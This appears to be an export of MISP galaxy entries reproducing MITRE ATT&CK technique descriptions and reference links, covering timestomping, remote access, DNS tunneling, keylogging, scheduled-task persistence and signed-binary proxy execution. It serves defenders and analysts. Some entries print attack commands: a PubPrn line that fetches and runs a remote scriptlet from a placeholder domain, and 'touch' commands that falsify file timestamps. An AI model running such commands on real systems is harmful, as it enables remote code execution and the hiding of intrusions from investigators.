https://adsecurity.org/?p=1729
https://attack.mitre.org/techniques/T1003/006
https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://github.com/gentilkiwi/mimikatz/wiki/module-}-lsadump
https://msdn.microsoft.com/library/cc228086.aspx
https://msdn.microsoft.com/library/cc237008.aspx
https://msdn.microsoft.com/library/cc245496.aspx
https://msdn.microsoft.com/library/dd207691.aspx
https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html
https://wiki.samba.org/index.php/DRSUAPI

Timestomp - T1070.006

Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.

In Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)

Modifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)

Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.(Citation: Double Timestomping)

In Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t <timestamp> <filename>` (which sets access and modification

times to a specific value) or `touch -r <filename> <filename>` (which sets access and modification times to match those of another file).(Citation: Inversecos Linux Timestomping)(Citation: Juniper Networks ESXi Backdoor 2022)

Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"*

Table 9039. Table References

Links
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html
https://attack.mitre.org/techniques/T1070/006
https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers
https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html
https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html
https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/
https://x.com/matthewdunwoody/status/1519846657646604289

SSH - T1021.004

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user's public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH - T1021.004"*

Table 9040. Table References

Links
https://attack.mitre.org/techniques/T1021/004
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/

https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html

VNC - T1021.005

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB ("remote framebuffer") protocol to enable users to remotely control another computer's display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)

VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)

Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)

The tag is: *misp-galaxy:mitre-attack-pattern="VNC - T1021.005"*

Table 9041. Table References

Links
https://attack.mitre.org/techniques/T1021/005
https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2
https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207
https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in
https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication
https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc
https://lists.openstack.org/pipermail/openstack/2013-December/004138.html
https://pentestlab.blog/2012/10/30/attacking-vnc-servers/
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac

https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/
https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/
https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication

Steganography - T1406.001

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

The tag is: *misp-galaxy:mitre-attack-pattern="Steganography - T1406.001"*

Table 9042. Table References

Links
https://attack.mitre.org/techniques/T1406/001

DNS - T1071.004

Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)

DNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="DNS - T1071.004"*

Table 9043. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1071/004

https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://vercara.digicert.com/resources/dns-beacons#page_top
https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling

Keylogging - T1056.001

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

- Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.
- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.
- [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"*

Table 9044. Table References

Links
http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
https://attack.mitre.org/techniques/T1056/001
https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

PowerShell - T1059.001

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful

interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"*

Table 9045. Table References

Links
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
https://attack.mitre.org/techniques/T1059/001
https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
https://github.com/Exploit-install/PSAttack-1
https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/
https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367
https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

At - T1053.002

Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that

the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)

On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)

Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).

In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)

The tag is: *misp-galaxy:mitre-attack-pattern="At - T1053.002"*

Table 9046. Table References

Links
https://attack.mitre.org/techniques/T1053/002
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
https://gtfobins.github.io/gtfobins/at/
https://man7.org/linux/man-pages/man1/at.1p.html
https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/dd315590.aspx
https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe
https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/
https://x.com/leoloobeek/status/939248813465853953

Steganography - T1027.003

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)

By the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

The tag is: *misp-galaxy:mitre-attack-pattern="Steganography - T1027.003"*

Table 9047. Table References

Links
https://attack.mitre.org/techniques/T1027/003
https://en.wikipedia.org/wiki/Duqu
https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/

AppleScript - T1059.002

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)

AppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](<a href="https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code&gt" class="bare">https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code&gt;, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.

Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)

The tag is: *misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002"*

Table 9048. Table References

Links
https://attack.mitre.org/techniques/T1059/002
https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/
https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/

DNS - T1590.002

Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target's subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)

Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

Adversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS - T1590.002"*

Table 9049. Table References

Links
https://attack.mitre.org/techniques/T1590/002
https://dnsdumpster.com/
https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/
https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds
https://www.circl.lu/services/passive-dns/
https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information
https://x.com/PyroTek3/status/1126487227712921600

Cron - T1053.003

Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems. The <code>crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.

An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).(Citation: CloudSEK ESXiArgs 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Cron - T1053.003"*

Table 9050. Table References

Links
https://attack.mitre.org/techniques/T1053/003
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers

Launchd - T1053.004

This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.

Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads

the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.

The tag is: *misp-galaxy:mitre-attack-pattern="Launchd - T1053.004"*

Table 9051. Table References

Links
https://attack.mitre.org/techniques/T1053/004
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Python - T1059.006

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

The tag is: *misp-galaxy:mitre-attack-pattern="Python - T1059.006"*

Table 9052. Table References

Links
https://attack.mitre.org/techniques/T1059/006
https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online

JavaScript - T1059.007

Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated

with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)

JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple's Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple's OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple's internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)

Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

The tag is: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"*

Table 9053. Table References

Links
https://attack.mitre.org/techniques/T1059/007
https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html
https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript
https://docs.microsoft.com/scripting/winscript/windows-script-interfaces
https://docs.microsoft.com/windows/win32/com/translating-to-jscript
https://nodejs.org/
https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
https://redcanary.com/blog/clipping-silver-sparrows-wings/
https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/
https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/

Regsvr32 - T1218.010

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"*

Table 9054. Table References

Links
https://attack.mitre.org/techniques/T1218/010
https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
https://support.microsoft.com/en-us/kb/249873
https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html

Confluence - T1213.001

Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation

- Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

The tag is: *misp-galaxy:mitre-attack-pattern="Confluence - T1213.001"*

Table 9055. Table References

Links
https://attack.mitre.org/techniques/T1213/001
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html

PubPrn - T1216.001

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).

The tag is: *misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001"*

Table 9056. Table References

Links
https://attack.mitre.org/techniques/T1216/001
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

MSBuild - T1127.001

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)

Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)

The tag is: *misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001"*

Table 9057. Table References

Links
https://attack.mitre.org/techniques/T1127/001
https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element
https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
https://msdn.microsoft.com/library/dd393574.aspx

Keylogging - T1417.001

Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.

Some methods of keylogging include:

- Masquerading as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.
- Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. *Additional methods of keylogging may be possible if root access is available.

The tag is: *misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001"*

Table 9058. Table References

Links

https://attack.mitre.org/techniques/T1417/001
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html
https://zeltser.com/third-party-keyboards-security/

Lua - T1059.011

Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (<code>.lua</code>), or from Lua-embedded programs (through the <code>struct lua_State</code>).(Citation: Lua main page)(Citation: Lua state)

